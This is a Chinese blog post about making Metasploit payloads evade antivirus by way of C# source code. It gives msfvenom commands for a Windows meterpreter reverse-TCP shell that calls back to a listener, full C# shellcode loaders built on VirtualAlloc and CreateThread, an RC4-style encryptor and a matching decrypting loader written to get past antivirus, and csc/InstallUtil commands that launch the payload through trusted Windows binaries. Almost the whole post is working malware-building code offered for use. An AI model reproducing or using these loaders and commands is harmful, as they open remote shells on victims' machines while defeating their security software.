devbox
一键难忘520
这个屌丝很懒，什么也没留下！
关注作者
热门标签
热门文章
当前位置:   article > 正文

WEB渗透免杀篇-C#源码免杀

作者：一键难忘520 | 2024-08-19 08:59:09

赞

踩

WEB渗透免杀篇-C#源码免杀

直接编译

生成payload MSF监听需设置自动迁移进程

  1. set autorunscript migrate -n explorer.exe
  2. >msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.0.108 LPORT=12138 -f csharp -o cs.txt
  3.

MSF启动监听 Payload粘贴到位置

  1.   using System;
  2.   using System.Runtime.InteropServices;
  3.   namespace TCPMeterpreterProcess
  4.   {
  5.     class Program
  6.     {
  7.       static void Main(string[] args)
  8.       {
  9.         byte[] shellcode = new byte[] {payload here};
  10.         UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  11.         Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
  12.         IntPtr hThread = IntPtr.Zero;
  13.         UInt32 threadId = 0;
  14.         // prepare data
  15.         IntPtr pinfo = IntPtr.Zero;
  16.         // execute native code
  17.         hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
  18.         WaitForSingleObject(hThread, 0xFFFFFFFF);
  19.       }
  20.       private static UInt32 MEM_COMMIT = 0x1000;
  21.       private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
  22.       [DllImport("kernel32")]
  23.       private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
  24.       UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
  25.       [DllImport("kernel32")]
  26.       private static extern bool VirtualFree(IntPtr lpAddress,
  27.       UInt32 dwSize, UInt32 dwFreeType);
  28.       [DllImport("kernel32")]
  29.       private static extern IntPtr CreateThread(
  30.         UInt32 lpThreadAttributes,
  31.         UInt32 dwStackSize,
  32.         UInt32 lpStartAddress,
  33.         IntPtr param,
  34.         UInt32 dwCreationFlags,
  35.         ref UInt32 lpThreadId
  36.       );
  37.       [DllImport("kernel32")]
  38.       private static extern bool CloseHandle(IntPtr handle);
  39.       [DllImport("kernel32")]
  40.       private static extern UInt32 WaitForSingleObject(
  41.         IntPtr hHandle,
  42.         UInt32 dwMilliseconds
  43.       );
  44.       [DllImport("kernel32")]
  45.       private static extern IntPtr GetModuleHandle(
  46.         string moduleName
  47.       );
  48.       [DllImport("kernel32")]
  49.       private static extern UInt32 GetProcAddress(
  50.         IntPtr hModule,
  51.         string procName
  52.       );
  53.       [DllImport("kernel32")]
  54.       private static extern UInt32 LoadLibrary(
  55.         string lpFileName
  56.       );
  57.       [DllImport("kernel32")]
  58.       private static extern UInt32 GetLastError();
  59.     }
  60.   }
Visual studio创建C#.net framework控制台程序编译可过杀软

加密处理

生成payload MSF监听需设置自动迁移进程

  1. set autorunscript migrate -n explorer.exe
  2. >msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.0.108 LPORT=12138 -f csharp -o cs.txt
  3.

粘贴payload后编译加密

  1.   using System;
  2.   using System.Collections.Generic;
  3.   using System.IO;
  4.   using System.Linq;
  5.   using System.Security.Cryptography;
  6.   using System.Text;
  7.   using System.Threading.Tasks;
  8.   using System.Reflection;
  9.   using System.Runtime.CompilerServices;
  10.   using System.Runtime.InteropServices;
  11.   namespace Payload_Encrypt_Maker
  12.   {
  13.     class Program
  14.     {
  15.       // 加密密钥，可以更改，加解密源码中保持KEY一致就行
  16.       static byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
  17.       static byte[] IV = { 0x00, 0xcc, 0x00, 0x00, 0x00, 0xcc };
  18.       static byte[] payload = { payload here };    // 替换成MSF生成的shellcode
  19.       private static class Encryption_Class
  20.       {
  21.         public static string Encrypt(string key, string data)
  22.         {
  23.           Encoding unicode = Encoding.Unicode;
  24.           return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));
  25.         }
  26.         public static byte[] Encrypt(byte[] key, byte[] data)
  27.         {
  28.           return EncryptOutput(key, data).ToArray();
  29.         }
  30.         private static byte[] EncryptInitalize(byte[] key)
  31.         {
  32.           byte[] s = Enumerable.Range(0, 256)
  33.           .Select(i => (byte)i)
  34.           .ToArray();
  35.           for (int i = 0, j = 0; i < 256; i++)
  36.           {
  37.             j = (j + key[i % key.Length] + s[i]) & 255;
  38.             Swap(s, i, j);
  39.           }
  40.           return s;
  41.         }
  42.         private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
  43.         {
  44.           byte[] s = EncryptInitalize(key);
  45.           int i = 0;
  46.           int j = 0;
  47.           return data.Select((b) =>
  48.           {
  49.             i = (i + 1) & 255;
  50.             j = (j + s[i]) & 255;
  51.             Swap(s, i, j);
  52.             return (byte)(b ^ s[(s[i] + s[j]) & 255]);
  53.           });
  54.         }
  55.         private static void Swap(byte[] s, int i, int j)
  56.         {
  57.           byte c = s[i];
  58.           s[i] = s[j];
  59.           s[j] = c;
  60.         }
  61.       }
  62.       static void Main(string[] args)
  63.       {
  64.         byte[] result = Encryption_Class.Encrypt(KEY, payload);
  65.         int b = 0;
  66.         for (int i = 0; i < result.Length; i++)
  67.         {
  68.           b++;
  69.           if (i == result.Length + 1)
  70.           { Console.Write(result[i].ToString()); }
  71.           if (i != result.Length) { Console.Write(result[i].ToString() + ","); }
  72.         }
  73.       }
  74.     }
  75.   }

image

 

编译解密

  1.   using System;
  2.   using System.Collections.Generic;
  3.   using System.Linq;
  4.   using System.Text;
  5.   using System.Runtime.InteropServices;
  6.   using System.Threading;
  7.   using System.Reflection;
  8.   using System.Runtime.CompilerServices;
  9.  
  10.   namespace NativePayload_Reverse_tcp
  11.   {
  12.     public class Program
  13.     {
  14.       public static void Main()
  15.       {
  16.         Shellcode.Exec();
  17.       }
  18.     }
  19.     class Shellcode
  20.     {
  21.       public static void Exec()
  22.       {
  23.         string Payload_Encrypted;
  24.         Payload_Encrypted = "payload here";
  25.         string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(',');
  26.         byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];
  27.         for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++)
  28.         {
  29.           byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());
  30.           _X_to_Bytes[i] = current;
  31.         }
  32.         // 解密密钥，可以更改，加解密源码中保持KEY一致就行
  33.         byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
  34.         byte[] MsfPayload = Decrypt(KEY, _X_to_Bytes);
  35.         // 加载shellcode
  36.         IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
  37.         Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
  38.         CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
  39.         Thread.Sleep(2000);
  40.       }
  41.       public static byte[] Decrypt(byte[] key, byte[] data)
  42.       {
  43.         return EncryptOutput(key, data).ToArray();
  44.       }
  45.       private static byte[] EncryptInitalize(byte[] key)
  46.       {
  47.         byte[] s = Enumerable.Range(0, 256)
  48.         .Select(i => (byte)i)
  49.         .ToArray();
  50.         for (int i = 0, j = 0; i < 256; i++)
  51.         {
  52.           j = (j + key[i % key.Length] + s[i]) & 255;
  53.           Swap(s, i, j);
  54.         }
  55.         return s;
  56.       }
  57.       private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
  58.       {
  59.         byte[] s = EncryptInitalize(key);
  60.         int i = 0;
  61.         int j = 0;
  62.         return data.Select((b) =>
  63.         {
  64.           i = (i + 1) & 255;
  65.           j = (j + s[i]) & 255;
  66.           Swap(s, i, j);
  67.           return (byte)(b ^ s[(s[i] + s[j]) & 255]);
  68.           });
  69.       }
  70.       private static void Swap(byte[] s, int i, int j)
  71.       {
  72.         byte c = s[i];
  73.         s[i] = s[j];
  74.         s[j] = c;
  75.       }
  76.       [DllImport("kernel32.dll")]
  77.       public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  78.       [DllImport("kernel32.dll")]
  79.       public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  80.     }
  81.   }

XOR和AES编码

与上文xor加密类似

CSC+InstallUtil

生成payload MSF监听需设置自动迁移进程

  1. set autorunscript migrate -n explorer.exe
  2. >msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.0.108 LPORT=12138 -f csharp -o cs.txt
  3.

Payload粘贴到InstallUtil-Shellcode.cs中使用csc编译

image

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:C:\Users\y\Desktop\shell.exe C:\Users\y\Desktop\InstallUtil-ShellCode.cs

image

执行

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\y\Desktop\shell.exe
声明：本文内容由网友自发贡献，转载请注明出处：【wpsshop博客】
推荐阅读
相关标签

Copyright © 2003-2013 www.wpsshop.cn 版权所有，并保留所有权利。

  

闽ICP备14008679号